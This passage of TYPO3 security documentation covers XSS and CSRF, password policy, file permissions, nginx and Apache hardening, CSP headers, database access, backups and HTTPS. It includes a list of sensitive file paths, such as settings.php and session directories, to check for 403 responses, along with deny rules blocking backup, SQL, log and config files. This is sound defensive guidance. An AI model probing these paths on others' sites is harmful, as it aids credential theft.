Cross-site scripting occurs when data that is being processed by an application is not filtered for any suspicious content. It is most common with forms on websites where a user enters data which is then processed by the application. When the data is stored or sent back to the browser in an unfiltered way, malicious code may be executed. A typical example is a comment form for a blog or guest book. When the submitted data is simply stored in the database, it will be sent back to the browser of visitors if they view the blog or guest book entries. This could be as simple as the inclusion of additional text or images, but it could also contain JavaScript code of iframes that load code from a 3rd party website.

Implementing Content Security Policy headers can reduce the risk of cross-site scripting.

Cross-site request forgery (XSRF)

In this type of attack unauthorized commands are sent from a user a website trusts. Consider an editor that is logged in to an application (like a CMS or online banking service) and therefore is authorized in the system. The authorization may be stored in a session cookie in the browser of the user. An attacker might send an e-mail to the person with a link that points to a website with prepared images. When the browser is loading the images, it might actually send a request to the system where the user is logged in and execute commands in the context of the logged-in user.

One way to prevent this type of attack is to include a secret token with every form or link that can be used to check the authentication of the request.

General security guidelines

The recommendations in this chapter apply for all roles: system administrators, TYPO3 integrators, editors and strictly speaking even for (frontend) users.

Secure passwords

It is critical that every user is using secure passwords to authenticate themselves at systems like TYPO3. Below are rules that should be implemented in a password policy:

  1. Ensure that the passwords you use have a minimum length of 8 or more characters.
  2. Passwords should have a mix of upper and lower case letters, numbers and special characters.
  3. Passwords should not be made up of personal information such as names, nick names, pet's names, birthdays, anniversaries, etc.
  4. Passwords should not be made out of common words that can be found in dictionaries.
  5. Do not store passwords on Post-it notes, under your desk cover, in your wallet, unencrypted on USB sticks or somewhere else.
  6. Always use a different password for different logins! Never use the same password for your e-mail account, the TYPO3 backend, an online forum and so on.
  7. Change your passwords in regular intervals but not too often (this would make remembering the correct password too difficult) and avoid to re-use the last 10 passwords.
  8. Do not use the "stay logged in" feature on websites and do not store passwords in applications like FTP clients. Enter the password manually every time you log in.

A good rule for a secure password would be that a search engine such as Google should deliver no results if you would search for it. Please note: do not determine your passwords by this idea – this is an example only how cryptic a password should be.

Another rule is that you should not choose a password that is too strong either. This sounds self-contradictory but most people will write down a password that is too difficult to remember – and this is against the rules listed above.

In a perfect world you should use "trusted" computers, only. Public computers in libraries, internet cafés, and sometimes even computers of work colleagues and friends can be manipulated (with or without the knowledge of the owner) and log your keyboard input.

Operating System and Browser Version

Make sure that you are using up-to-date software versions of your browser and that you have installed the latest updates for your operating system (such as Microsoft Windows, Mac OS X or Linux). Check for software updates regularly and install security patches immediately or at least as soon as possible.

It is also recommended to use appropriate tools for detecting viruses, Trojans, keyloggers, rootkits and other "malware".

Communication

A good communication between several roles is essential to clarify responsibilities and to coordinate the next steps when updates are required, an attacked site needs to be restored or other security- related actions need to be done as soon as possible.

A central point of contact, for example a person or a team responsible for coordinating these actions, is generally a good idea. This also lets others (e.g. integrators, editors, end-users) know, to whom they can report issues.

React Quickly

TYPO3 is open source software as well as all TYPO3 extensions published in the TYPO3 Extension Repository (TER). This means, everyone can download and investigate the code base. From a security perspective, this usually improves the software, simply because more people review the code, not only a few Core developers. Currently, there are hundreds of developers actively involved in the TYPO3 community and if someone discovers and reports a security issue, he/she will be honored by being credited in the appropriate security bulletin.

The open source concept also implies that everyone can compare the old version with the new version of the software after a vulnerability became public. This may give an insight to anyone who has programming knowledge, how to exploit the vulnerability and therefore it is understandable how important it is, to react quickly and fix the issue before someone else compromises it. In other words, it is not enough to receive and read the security bulletins, it is also essential to react as soon as possible and to update the software or deinstall the affected component.

The security bulletins may also include specific advice such as configuration changes or similar. Check your individual TYPO3 instance and follow these recommendations.

Keep the TYPO3 Core up-to-date

As described in TYPO3 versions chapter, a new version of TYPO3 can either be a major update (e.g. from version 10.x.x to version 11.x.x), a minor update (e.g. from version 11.4.x to version 11.5.x) or a maintenance/bugfix/security release (e.g. from version 11.5.11 to 11.5.12).

In most cases, a maintenance/bugfix/security update is a no-brainer, see chapter Patch/Bugfix updates <t3coreapi:minor> for further details.

When you extract the archive file of new TYPO3 sources into the existing install directory (e.g. the web root of your web server) and update the symbolic links, pointing to the directory of the new version, do not forget to delete the old and possibly insecure TYPO3 Core version. Failing doing this creates the risk of leaving the source code of the previous TYPO3 version on the system and as a consequence, the insecure code may still be accessible and a security vulnerability possibly exploitable.

Another option is to store the extracted TYPO3 sources outside of the web root directory (so they are not accessible via web requests) as a general rule and use symbolic links inside the web root to point to the correct and secure TYPO3 version.

Keep TYPO3 Extensions Up-to-date

Do not rely on publicly released security announcements only. Reading the official security bulletins and updating TYPO3 extensions which are listed in the bulletins is an essential task but not sufficient to have a "secure" system.

Extension developers sometimes fix security issues in their extensions without notifying the Security Team (and maybe without mentioning it in the ChangeLog or in the upload comments). This is not the recommended way, but possible. Therefore updating extensions whenever a new version is published is a good idea in general – at least investigating/reviewing the changes and assessing if an update is required.

Also keep in mind that attackers often scan for system components that contain known security vulnerabilities to detect points of attack. These "components" can be specific software packages on a system level, scripts running on the web server but also specific TYPO3 versions or TYPO3 extensions.

The recommended way to update TYPO3 extensions is to use TYPO3's internal Extension Manager (EM). The EM takes care of the download of the extension source code, extracts the archive and stores the files in the correct place, overwriting an existing old version by default. This ensures, the source code containing a possible security vulnerability will be removed from server when a new version of an extension is installed.

When a system administrator decides to create a copy of the directory of an existing insecure extension, before installing the new version, he/she often introduces the risk of leaving the (insecure) copy on the web server. For example:

Remove old extensions, dont rename
typo3conf/ext/insecure_extension.bak
typo3conf/ext/insecure_extension.delete_me
typo3conf/ext/insecure_extension-1.2.3
...
Copied!

The risk of exploiting a vulnerability is minimal, because the source code of the extension is not loaded by TYPO3, but it depends on the type of vulnerability of course.

The advice is to move the directory of the old version outside of the web root directory, so the insecure extension code is not accessible.

Use staging servers for developments and tests

During the development phase of a project and also after the launch of a TYPO3 site as ongoing maintenance work, it is often required to test if new or updated extensions, PHP, TypoScript or other code meets the requirements.

A website that is already "live" and publicly accessible should not be used for these purposes. New developments and tests should be done on so called "staging servers" which are used as a temporary stage and could be messed up without an impact on the "live" site. Only relevant/required, tested and reviewed clean code should then be implemented on the production site.

This is not security-related on the first view but "tests" are often grossly negligent implemented, without security aspects in mind. Staging servers also help keeping the production sites slim and clean and reduce maintenance work (e.g. updating extensions which are not in use).

Security guidelines for system administrators

  1. Follow the TYPO3 Security Advisories. Subscribe to the advisories via mailing list or RSS feed.
  2. Update the TYPO3 Core or any affected third-party extensions as soon as possible after security fixes are released.
  3. Use individual account names. Do not share accounts. For example, administrator and system maintainer account names should be something like john.doe. Do not use general usernames like "admin".
  4. Use different passwords for the Install Tool and your personal backend login. Do not reuse passwords across multiple TYPO3 installations.
  5. Follow the guidelines for secure passwords in this document. Implement secure password policies.
  6. Never use the same password for a TYPO3 installation and other services such as FTP, SSH, etc.
  7. If you are responsible for the setup and configuration of TYPO3, carefully follow the Guidelines for TYPO3 integrators which are documented in the next chapter.

Please refer to the chapters below for security-related topics of interest to administrators:

Role definition: What is a system administrator?

In this chapter, a system administrator is a person responsible for a server hosting a TYPO3 instance. This includes having full Operation System level access and managing installation, configuration, and maintenance, including the database, web server, PHP, TYPO3, and tools like ImageMagick.

They are also responsible for infrastructure security, which includes network access, secure protocols (e.g., SSH, FTP), and correct file permissions.

This role often overlaps with that of a TYPO3 integrator and may be held by the same person.

Verify integrity of TYPO3 code

Ensuring that the TYPO3 source code has not been tampered with is very important for security reasons. TYPO3 can either be installed via Composer or by downloading a prebuilt package. Each method requires different integrity checks.

Composer-based installations

When using Composer, TYPO3 and its dependencies are downloaded directly by Composer from trusted sources such as packagist.org and packages.typo3.org.

To ensure source integrity:

  • Use official TYPO3 packages (for example typo3/cms-base-distribution )
  • Commit the composer.lock file to track versions and sources
  • Keep Composer and your system's trusted certificate store (CA certificates) up to date to ensure secure HTTPS connections when downloading packages.

Composer ensures a secure and verifiable dependency management workflow. It is recommended to run Composer locally or in a CI pipeline, and deploy only the prepared files - including the vendor/ directory - to the production environment.

Classic (non-Composer) installations

If installing TYPO3 via a downloaded archive (ZIP, tar.gz), verify the SHA2-256 checksum before extracting. Only download from the official site: get.typo3.org.

For details, see: TYPO3 release integrity

Avoid vendor-provided or pre-installed packages unless you fully trust their source.

Secure file permissions (operating system level)

This chapter explains how to securely configure file and directory permissions at the operating system level for TYPO3 installations. It focuses on who can read and write to files on disk.

To learn how to prevent public access via the web server, see Restrict public file access in the web server.

A common risk is allowing one user to read or modify another client's files— especially in shared environments. A misconfigured server where all sites run as the same user can allow cross-site scripting, data theft, or manipulation of TYPO3 files such as config/system/settings.php.

TYPO3 can be installed either in classic (non-Composer) mode or using a Composer-based setup. Each approach requires a slightly different file permission strategy.

Composer-based installations

In Composer-based TYPO3 installations, the document root is typically a public/ directory. Core files, extensions, and the vendor/ directory reside outside the web root, improving security by design.

Recommendations:

  • Set the web server's document root to public/ only.
  • Grant the web server user write access to:

    • public/fileadmin/
    • public/typo3temp/
    • var/ (used for cache, logs, sessions, etc.)
  • The public/_assets/ directory must be readable by the web server. It is generated during deployment or Composer operations and should not be writable at runtime.
  • The config/ directory should be read-only for the web server in production environments unless certain TYPO3 features require write access:

    • To allow changing site configurations via the backend, the web server needs write access to config/sites/.
    • To allow system maintainers to update settings via the Admin Tools module, the web server needs write access to config/system/settings.php.
  • Keep vendor/, composer.json, and public/index.php read-only for the web server.

Classic-mode installations

In classic TYPO3 installations, all TYPO3 files (Core, extensions, uploads) are located inside the web server's document root. This increases the risk of file exposure or accidental manipulation, making secure filesystem permissions essential.

Recommendations:

  • On shared hosting, ensure each virtual host runs under a separate system user.
  • Revoke write access for the web server user to the TYPO3 core source directories, especially typo3/sysext/ (core system extensions) and vendor/
  • Allow write access only to:

    • fileadmin/
    • typo3temp/
    • Only grant write access to subdirectories within typo3conf/ as needed:
    • typo3conf/ext/, typo3conf/autoload/, typo3conf/PackageStates.php: Required if you want to install or update extensions using the Extension Manager.
    • typo3conf/sites/: Stores site configuration; writable if managing sites through the backend.
    • typo3conf/system/: Stores system settings; writable if modifying settings via the Admin Tools → Settings module.
    • typo3conf/l10n/: Must be writable to allow downloading or updating translation files via the Admin Tools.
  • The rest of the typo3conf/ directory should remain read-only to the web server where possible.
  • On UNIX/Linux systems, enforce appropriate user/group ownership and permissions (e.g., chmod, chown).

Check file permissions in the backend

TYPO3 provides a built-in backend tool to verify directory permissions.

You can access it via:

Admin Tools > Environment > Directory Status

This view lists key directories such as fileadmin/, config/, var/, and others, and shows whether the current web server user has the recommend level of access.

Use this tool to confirm that required directories are writable after deployment or when debugging permission-related issues.

Restrict HTTP access

This chapter explains how to configure your web server (Apache, NGINX, IIS) to prevent public access to sensitive files in a TYPO3 installation. TYPO3 can be installed in classic (non-Composer) or Composer-based mode, and web server configuration differs significantly between the two. This chapter outlines recommendations for both setups.

If you are looking to control which system users and processes can access files at the operating system level, see Secure file permissions (operating system level).

Composer-based installations

For Composer-based TYPO3 installations, the public document root is typically the public/ directory. All web-accessible files are placed in this folder, while all sensitive and internal application files (e.g., vendor/, .git/, configuration files) are stored outside the document root by default.

This layout significantly reduces the risk of accidental exposure of sensitive files, eliminating the need for complex blacklisting rules.

Recommendations for Composer-based installations:

  • Ensure the web server document root points to the public/ directory only.
  • Verify that all non-public files (e.g., composer.json, .env, vendor/, config/) are outside of this directory.
  • Keep your public/.htaccess (Apache) or server config (NGINX/IIS) files updated to deny access to any critical files inside the public folder.
  • Store downloadable files that are only intended for authenticated users in File storage located outside the document root. Deliver them programmatically to authenticated users, for example using extensions like leuchtfeuer/secure-downloads .

Classic-mode installations

In classic TYPO3 installations (without Composer), all files are contained in the web root directory. This increases the risk of accidental exposure of internal files. For example, temporary files such as backups or logs may become accessible unless explicitly protected.

Restricting access to sensitive files

Some experts recommend denying access to certain file types (e.g., .bak, .tmp, .sql, .old) using web server rules like Apache's FilesMatch directive. This helps prevent downloads of sensitive files that have accidentally been placed in the document root.

However, this is a workaround — not a real solution. The proper approach is to ensure sensitive files are never stored in the web root at all. Blocking access by file name patterns is unreliable, as future file names cannot be predicted.

Verification of access restrictions in Classic-mode installations

Administrators must verify that access to sensitive files is properly denied. Attempting to access any of the following files should result in an HTTP 403 error:

  • https://example.org/.git/index
  • https://example.org/INSTALL.md
  • https://example.org/INSTALL.txt
  • https://example.org/ChangeLog
  • https://example.org/composer.json
  • https://example.org/composer.lock
  • https://example.org/vendor/autoload.php
  • https://example.org/typo3_src/Build/package.json
  • https://example.org/typo3_src/bin/typo3
  • https://example.org/typo3_src/INSTALL.md
  • https://example.org/typo3_src/INSTALL.txt
  • https://example.org/typo3_src/ChangeLog
  • https://example.org/typo3_src/vendor/autoload.php
  • https://example.org/typo3conf/system/settings.php
  • https://example.org/typo3conf/system/additional.php
  • https://example.org/typo3temp/var/log/
  • https://example.org/typo3temp/var/session/
  • https://example.org/typo3temp/var/tests/
  • https://example.org/typo3/sysext/core/composer.json
  • https://example.org/typo3/sysext/core/ext_tables.sql
  • https://example.org/typo3/sysext/core/Configuration/Services.yaml
  • https://example.org/typo3/sysext/extbase/ext_typoscript_setup.txt
  • https://example.org/typo3/sysext/extbase/ext_typoscript_setup.typoscript
  • https://example.org/typo3/sysext/felogin/Configuration/FlexForms/Login.xml
  • https://example.org/typo3/sysext/backend/Resources/Private/Language/locallang.xlf
  • https://example.org/typo3/sysext/backend/Tests/Unit/Utility/Fixtures/clear.gif
  • https://example.org/typo3/sysext/belog/Configuration/TypoScript/setup.txt
  • https://example.org/typo3/sysext/belog/Configuration/TypoScript/setup.typoscript

Apache and Microsoft IIS web servers

In classic mode, TYPO3 automatically creates default web server config files (.htaccess for Apache, web.config for IIS) to deny access to common sensitive files and directories.

These blacklist-style rules require ongoing maintenance. Administrators should regularly compare their config files with the TYPO3 reference templates:

See Verify webserver configuration (.htaccess) for updating config files after major version upgrades.

NGINX Web Servers configuration (both installation modes)

NGINX does not support .htaccess or similar per-directory configuration so TYPO3 cannot install default protection automatically. Instead, administrators must include appropriate deny rules in the virtual host configuration.

A sample configuration is provided by DDEV:

nginx-site-typo3.conf
# Support for WebP
map $http_accept $webp_suffix {
    default   "";
    "~*webp"  ".webp";
}

# /index.php is used for TYPO3 v14+
# /typo3/index.php is used for TYPO3 pre-v14
map $typo3_index_exists $typo3_index {
    default   "/index.php";
    1         "/typo3/index.php";
}

server {
    listen 80 default_server;
    listen 443 ssl default_server;

    root {{ .Docroot }};

    ssl_certificate /etc/ssl/certs/master.crt;
    ssl_certificate_key /etc/ssl/certs/master.key;

    include /etc/nginx/monitoring.conf;

    index index.php index.htm index.html;

    # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
    sendfile off;
    error_log /dev/stdout info;
    access_log /var/log/nginx/access.log;

    # Security: Content-Security-Policy
    # =================================
    #
    # Add CSP header for possible vulnerable files stored in fileadmin see:
    # * https://typo3.org/security/advisory/typo3-psa-2019-010
    # * https://docs.typo3.org/m/typo3/reference-coreapi/master/en-us/Security/GuidelinesAdministrators/ContentSecurityPolicy.html
    # * https://github.com/TYPO3/TYPO3.CMS/blob/master/typo3/sysext/install/Resources/Private/FolderStructureTemplateFiles/resources-root-htaccess

    # matching requested *.pdf files only (strict rules block Safari showing PDF documents)
    location ~ /(?:fileadmin|uploads)/.*\.pdf$ {
        add_header Content-Security-Policy "default-src 'self' 'unsafe-inline'; script-src 'none'; object-src 'self'; plugin-types application/pdf;";
    }

    # matching anything else, using negative lookbehind pattern
    location ~ /(?:fileadmin|uploads)/.*(?<!\.pdf)$ {
        add_header Content-Security-Policy "default-src 'self'; script-src 'none'; style-src 'none'; object-src 'none';";

        # Deliver media files as WebP if available. The file as WebP must be in
        # the same place (Original: "example.jpg", WebP: "example.jpg.webp").
        try_files $uri$webp_suffix $uri =404;
    }

    # TYPO3 11 Frontend URL rewriting support
    location / {
        absolute_redirect off;
        try_files $uri $uri/ /index.php$is_args$args;
    }

    # TYPO3 11 Backend URL rewriting support
    location = /typo3 {
        rewrite ^ /typo3/;
    }

    # check if /typo3/index.php exists
    set $typo3_index_exists 0;
    if (-f $document_root/typo3/index.php) {
        set $typo3_index_exists 1;
    }

    location /typo3/ {
        absolute_redirect off;
        try_files $uri $typo3_index$is_args$args;
    }

    # pass the PHP scripts to FastCGI server listening on socket
    location ~ \.php$ {
        try_files $uri =404;
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        fastcgi_pass unix:/run/php-fpm.sock;
        fastcgi_buffers 16 16k;
        fastcgi_buffer_size 32k;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_param SCRIPT_NAME $fastcgi_script_name;
        fastcgi_index index.php;
        include fastcgi_params;
        fastcgi_intercept_errors off;
        # fastcgi_read_timeout should match max_execution_time in php.ini
        fastcgi_read_timeout 10m;
        fastcgi_param SERVER_NAME $host;
        fastcgi_param HTTPS $fcgi_https;
        # Pass the X-Accel-* headers to facilitate testing.
        fastcgi_pass_header "X-Accel-Buffering";
        fastcgi_pass_header "X-Accel-Charset";
        fastcgi_pass_header "X-Accel-Expires";
        fastcgi_pass_header "X-Accel-Limit-Rate";
        fastcgi_pass_header "X-Accel-Redirect";
    }

    # Compressing resource files will save bandwidth and so improve loading speed especially for users
    # with slower internet connections. TYPO3 can compress the .js and .css files for you.
    # *) Set $GLOBALS['TYPO3_CONF_VARS']['BE']['compressionLevel'] = 9 for the Backend
    # *) Set $GLOBALS['TYPO3_CONF_VARS']['FE']['compressionLevel'] = 9 together with the TypoScript properties
    #    config.compressJs and config.compressCss for GZIP compression of Frontend JS and CSS files.
    location ~ \.js\.gzip$ {
        add_header Content-Encoding gzip;
        gzip off;
        types { text/javascript gzip; }
    }
    location ~ \.css\.gzip$ {
        add_header Content-Encoding gzip;
        gzip off;
        types { text/css gzip; }
    }

    # Prevent clients from accessing hidden files (starting with a dot)
    # This is particularly important if you store .htpasswd files in the site hierarchy
    # Access to `/.well-known/` is allowed.
    # https://www.mnot.net/blog/2010/04/07/well-known
    # https://tools.ietf.org/html/rfc5785
    location ~* /\.(?!well-known\/) {
        deny all;
    }

    # Prevent clients from accessing to backup/config/source files
    location ~* (?:\.(?:bak|conf|dist|fla|in[ci]|log|psd|sh|sql|sw[op])|~)$ {
        deny all;
    }

    location = /favicon.ico {
        log_not_found off;
        access_log off;
    }

    # TYPO3 - Block access to composer files
    location ~* composer\.(?:json|lock) {
        deny all;
    }

    # TYPO3 - Block access to flexform files
    location ~* flexform[^.]*\.xml {
        deny all;
    }

    # TYPO3 - Block access to language files
    location ~* locallang[^.]*\.(?:xml|xlf)$ {
        deny all;
    }

    # TYPO3 - Block access to static typoscript files
    location ~* ext_conf_template\.txt|ext_typoscript_constants\.(?:txt|typoscript)|ext_typoscript_setup\.(?:txt|typoscript) {
        deny all;
    }

    # TYPO3 - Block access to miscellaneous protected files
    location ~* /.*\.(?:bak|co?nf|cfg|ya?ml|ts|typoscript|dist|fla|in[ci]|log|sh|sql)$ {
        deny all;
    }

    # TYPO3 - Block access to recycler and temporary directories
    location ~ _(?:recycler|temp)_/ {
        deny all;
    }

    # TYPO3 - Block access to configuration files stored in fileadmin
    location ~ fileadmin/(?:templates)/.*\.(?:txt|ts|typoscript)$ {
        deny all;
    }

    # TYPO3 - Block access to libaries, source and temporary compiled data
    location ~ ^(?:vendor|typo3_src|typo3temp/var) {
        deny all;
    }

    # TYPO3 - Block access to protected extension directories
    location ~ (?:typo3conf/ext|typo3/sysext|typo3/ext)/[^/]+/(?:Configuration|Resources/Private|Tests?|Documentation|docs?)/ {
        deny all;
    }

    if (!-e $request_filename) {
        rewrite ^/(.+)\.(\d+)\.(php|js|css|png|jpg|gif|gzip)$ /$1.$3 last;
    }
    include /etc/nginx/common.d/*.conf;
    include /mnt/ddev_config/nginx/*.conf;
}
Copied!

This example is taken from DDEV webserver config.

Disable directory indexing

Directory indexing allows web servers to list the contents of directories when no default file (like index.html) is present. If enabled, it can expose sensitive file structures to the public or search engines.

This section explains how to disable directory indexing for TYPO3 across common web servers.

Disable indexing in Apache (.htaccess)

This applies to Apache web servers, especially in shared hosting environments where configuration is done via .htaccess files.

In Apache, directory indexing is controlled by the Indexes flag within the Options directive.

TYPO3's default .htaccess disables indexing with the following setting:

/var/www/myhost/public/.htaccess
<IfModule mod_autoindex.c>
  Options -Indexes
</IfModule>
Copied!

Alternatively, set this directly in your Apache site configuration:

/etc/apache2/sites-available/myhost.conf
<IfModule mod_autoindex.c>
  <Directory /var/www/myhost/public>
    Options FollowSymLinks
  </Directory>
</IfModule>
Copied!

See the Apache Options directive documentation for more information.

Disable indexing in Nginx (server block)

This applies to Nginx installations where settings are configured in the server block (virtual host configuration).

Although directory listing is disabled by default in Nginx, you can explicitly disable it by setting autoindex off;:

/etc/nginx/sites-available/myhost.com
server {
  location /var/www/myhost/public {
    autoindex off;
  }
}
Copied!

Disable indexing in IIS (Windows Server)

This applies to IIS web servers on Windows Server systems.

Directory listing is disabled by default. If enabled, you can turn it off using the IIS Manager:

  • Open the Directory Browsing settings
  • Set the feature to Disabled

Or use the command line:

command line
appcmd set config /section:directoryBrowse /enabled:false
Copied!

File extension handling

Most web servers have a default configuration mapping file extensions like .html or .txt to corresponding mime-types like text/html or text/plain. The focus in this section is on handling multiple extensions like .html.txt - in general the last extension part (.txt in .html.txt) defines the mime-type:

  • file.html shall use mime-type text/html
  • file.html.txt shall use mime-type text/plain
  • file.html.wrong shall use mime-type text/plain (but especially not text/html)

Apache's mod_mime documentation explains their handling of files having multiple extensions. Directive TypesConfig and using a mime.types map probably leads to unexpected handling of extension .html.wrong as mime-type text/html:

AddType text/html     html htm
AddType image/svg+xml svg svgz
Copied!

Global settings like shown in the example above are matching .html and .html.wrong file extension and have to be limited with <FilesMatch>:

<FilesMatch ".+\.html?$">
    AddType text/html     .html .htm
</FilesMatch>
<FilesMatch ".+\.svgz?$">
    AddType image/svg+xml .svg .svgz
</FilesMatch>
Copied!

In case these settings cannot be applied to the global server configuration, but only to .htaccess it is recommended to remove the default behavior:

.htaccess
RemoveType .html .htm
RemoveType .svg .svgz
Copied!

The scenario is similar when it comes to evaluate PHP files - it is totally expected and fine for files like test.php (ending with .php) - but it is definitively unexpected for files like test.php.html (having .php somewhere in between).

The expected default configuration should look like the following (adjusted to the actual PHP script dispatching via CGI, FPM or any other type):

.htaccess
<FilesMatch ".+\.php$">
    SetHandler application/x-httpd-php
</FilesMatch>
Copied!

Content security policy

Content security policy (CSP_) is an added layer of security that helps to detect and mitigate certain types of attacks, including cross-site scripting (XSS) and data injection attacks. These attacks are used for everything from data theft to site defacement to the distribution of malware.

According to TYPO3-PSA-2019-010 authenticated users - but not having administrator privileges - are allowed to upload files to their granted file mounts (e.g. fileadmin/ in most cases). This also includes the possibility to upload potential malicious code in HTML or SVG files (using JavaScript, injecting cross-site scripting vulnerabilities).

To mitigate these potential scenarios it is advised to either deny uploading files as described in TYPO3-PSA-2019-010 (which might be impractical for some sites) or add content security policy headers for these directories - basically all public available base directories of file storages (sys_file_storage).

Please note that the CSP configuration in Content Security Policy only applies to pages served by TYPO3 (when PHP is involved, allowing the configured Middleware to be utilized).

Files that are not served by TYPO3, as is the case with files in fileadmin/, need manual server configuration if CSP is to be applied, for example to .svg files to prevent possible execution and loading of further remote resources or scripts.

The following example sends a corresponding CSP header for any file accessed via https://example.org/fileadmin/...:

# placed in fileadmin/.htaccess on Apache 2.x webserver
<IfModule mod_headers.c>
    Header set Content-Security-Policy "default-src 'self'; script-src 'none'; style-src 'none'; object-src 'none';"
</IfModule>
Copied!

For nginx webservers, the following configuration example can be used to send a CSP header for any file accessed via https://example.org/fileadmin/...:

map $request_uri $csp_header {
    ~^/fileadmin/ "default-src 'self'; script-src 'none'; style-src 'none'; object-src 'none';";
}

server {
    # Add strict CSP header depending on mapping (fileadmin only)
    add_header Content-Security-Policy $csp_header;
    # ... other add_header declarations can follow here
}
Copied!

The nginx example configuration uses a map, since top level add_header declarations will be overwritten if add_header is used in sublevels (e.g. location) declarations.

CSP rules can be verified with a CSP-Evaluator

Secure database access

The TYPO3 database stores all user data (both backend and frontend), along with critical configuration and content. It is essential to protect this data from unauthorized access.

These recommendations apply to both self-managed and shared hosting environments.

If you are using managed or shared hosting, you may not be responsible for configuring the database yourself. However, it is still important to ensure that your TYPO3 installation uses a dedicated database user with limited permissions. If you are unsure, ask your hosting provider whether the database user has access only to your TYPO3 database and is restricted to the minimum required privileges.

Do not store credentials in version control

Database credentials and other sensitive information should never be stored in Git or any other version control system.

For example, do not commit files such as:

  • .env
  • config/system/settings.php (if it contains credentials directly)

Exposing credentials publicly, or even within internal team repositories, creates unnecessary risk.

Recommendation: Use environment-specific configuration and exclude credential files from version control using mechanisms like .gitignore.

For more information and best practices, see: Avoid storing credentials in version control.

Use strong passwords and limit privileges

When using MySQL, database users must authenticate before connecting. Permissions are granted at various levels (for example, per database, per table, or per action such as SELECT or INSERT).

Best practices:

  • Use a secure password for the TYPO3 database user. See secure password guidelines.
  • Do not use obvious usernames like root, admin, or typo3.
  • Create a dedicated user with access only to the TYPO3 database, and only with the permissions it requires (SELECT, INSERT, UPDATE, DELETE, etc.).
  • Avoid granting administrative privileges such as LOCK TABLES, FILE, PROCESS, RELOAD, or SHUTDOWN unless absolutely necessary.

Keep SQLite files out of the web root

SQLite stores the database in a single file. By default, TYPO3 places this file in the var/sqlite directory, derived from the TYPO3_PATH_APP environment variable.

Warning: In non-Composer installations, if TYPO3_PATH_APP is not set, the SQLite file may be created in typo3conf/, which is inside the web server's document root and publicly accessible.

If you are using SQLite:

  • Ensure that .sqlite files are not accessible via the web server
  • Move the database file outside of the document root if possible

Restrict database server access

The database server should only accept connections from the TYPO3 application host. It must never be exposed to the public internet.

Recommended actions:

  • Configure firewalls to block external access to the database port
  • Ensure the database server is bound only to localhost or a private network
  • For MySQL, review the options skip-networking and bind-address in the official documentation: MySQL Server Options

Avoid web-based database tools in production

Tools like phpMyAdmin provide web access to the database for administrative tasks. While sometimes helpful during development, they increase the attack surface in production environments.

If such tools must be used:

  • Protect them with additional access controls, such as HTTP authentication (for example, Apache .htaccess)
  • Keep them updated to patch known vulnerabilities

For local development or secure remote access, prefer standalone database clients such as HeidiSQL, DBeaver, or MySQL Workbench. These tools connect directly to the database server and do not expose a web interface, reducing the attack surface.

Recommendation: Do not use phpMyAdmin or similar tools on live TYPO3 sites. All regular access to the database should be managed through TYPO3 or CLI tools.

Backups and recovery

A secure TYPO3 setup must include a working backup strategy. Backups allow you to recover from data loss, attacks, or misconfiguration. However, backups themselves can also be a security risk if stored in the web root or transmitted without encryption.

For full recommendations on what to back up, how to store backups securely, and how to automate and test them, see:

For full recommendations on how to handle backups securely, see Backup strategy.

Avoid exposed backups in the web root

Never store backup files inside the web server's document root. If backups (for example .zip, .sql, .tar.gz) are accessible via a browser, they pose a serious security risk. Attackers can download and extract sensitive data such as:

  • TYPO3 configuration and database credentials
  • Backend user accounts and hashed passwords
  • Customer records or uploaded files

Backups should always be stored outside the document root, and access to them must be restricted. Obscure file names or hidden URLs are not sufficient protection.

Backup retention for security incidents

From a security standpoint, backup retention is not just about restoring lost data — it is also about enabling recovery from undetected attacks or delayed compromises.

If an attacker gains access to your system, malicious changes may go unnoticed for days or even weeks. In such cases, a single recent backup may already contain injected code, altered configuration, or corrupted data.

To reduce the risk of restoring a compromised state, follow a backup rotation strategy that keeps versions from multiple time periods. For example:

  • One daily backup for the last 7 days
  • One weekly backup for the last 4 weeks
  • One monthly backup for the last 6 months
  • One yearly backup for each of the last several years

This allows you to restore from a known-good state before compromise and support forensic investigations into when and how an incident occurred.

Backups should be tested regularly to confirm they are complete and restorable.

Use HTTPS and encrypted connections

Why your TYPO3 site should always use HTTPS — and how to protect other data in transit.

Encrypt TYPO3 backend access

A risk of unencrypted client/server communication is that an attacker could eavesdrop the data transmission and "sniff" sensitive information such as access details. Unauthorized access to the TYPO3 backend, especially with an administrator user account, has a significant impact on the security of your website. It is clear that the use of TLS for the backend of TYPO3 improves the security.

TYPO3 supports a TLS encrypted backend and offers some specific configuration options for this purpose, see configuration option lockSSL.

Encrypt website frontend with HTTPS

Transport Layer Security (TLS) is the standard technology for encrypting communication between a web browser and a server. It ensures that data (like login details or form entries) stays private and cannot be altered or intercepted.

TLS uses certificates to verify the identity of a website. These certificates contain details such as the domain name and organization behind the site.

Whenever sensitive data is exchanged between a visitor and your TYPO3 website, you should use an encrypted connection — typically by using https:// instead of http://.

For online shops or payment gateways, encryption is often required by card issuers or financial institutions. Always check the security policies of your payment provider.

Classify and protect sensitive data

Data sensitivity depends on the type of information being handled. Examples of "sensitive" data include:

  • Login credentials
  • Personal details (e.g., names, addresses)
  • Medical and financial records

Classifying your data helps determine how it must be stored, transmitted, and protected. Use a model that categorizes data by disclosure risk and legal or organizational impact.

The secure and maybe encrypted storage of sensitive data should also be considered.

The safest policy: do not store or transmit sensitive data unless absolutely necessary.

Avoid FTP — use secure alternatives

Encryption should also be used for server access methods beyond the browser.

Never use plain FTP. Instead, use encrypted alternatives such as:

  • SFTP (SSH File Transfer Protocol)
  • FTPS (FTP Secure)
  • SSH (Secure Shell)

These protocols encrypt credentials and data during transfer, reducing the risk of interception or unauthorized access.

Avoid insecure file uploads

Uploading untrusted scripts (e.g. PHP, Perl, Python) or executables into the web root is a major security risk. TYPO3 prevents this via backend restrictions (see Global TYPO3 configuration options).

These safeguards are bypassed if services like FTP, SFTP, SSH, or WebDAV allow direct file uploads—commonly into fileadmin/.

Such access can lead to:

  • Upload of malicious scripts
  • TYPO3 Core files being overwritten
  • Abuse via leaked credentials

Recommended actions:

  • Disable FTP/SFTP/SSH access to the document root for users.
  • Use the TYPO3 backend for file uploads.
  • Enforce secure upload policies in the TYPO3 file storage configuration.

Server- and environment-level security

In addition to TYPO3-specific hardening, system administrators are also responsible for maintaining a secure hosting environment, PHP configuration, and monitoring systems. This section highlights complementary actions to strengthen the overall security posture.

Keep the hosting environment minimal and secure

